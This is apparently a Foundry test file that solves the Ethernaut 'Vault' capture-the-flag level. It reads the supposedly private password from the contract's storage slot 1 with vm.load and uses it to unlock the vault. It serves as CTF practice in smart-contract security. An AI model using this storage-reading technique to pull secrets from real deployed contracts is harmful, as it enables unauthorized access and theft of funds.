VaultExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Vault.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract VaultExploit is Test {
  Vault target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');

  function setUp() public {
    vm.startPrank(deployer);
    target = new Vault(
      0x05416460deb76d57af601be17e777b93592d8d4d4a4096c57876a91c84f4a712
    );
    console.log('Target contract deployed');
    vm.stopPrank();
  }

  function testExploit() public {
    bool locked = target.locked();
    console.log('Target is locked: %b', locked);
    assertTrue(locked);

    vm.startPrank(exploiter);
    // Read password from the storage of the Vault contract at slot 1.
    bytes32 password = vm.load(address(target), bytes32(uint256(1)));
    target.unlock(password);
    vm.stopPrank();

    locked = target.locked();
    console.log('Target is locked: %b', locked);
    assertFalse(locked);
  }
}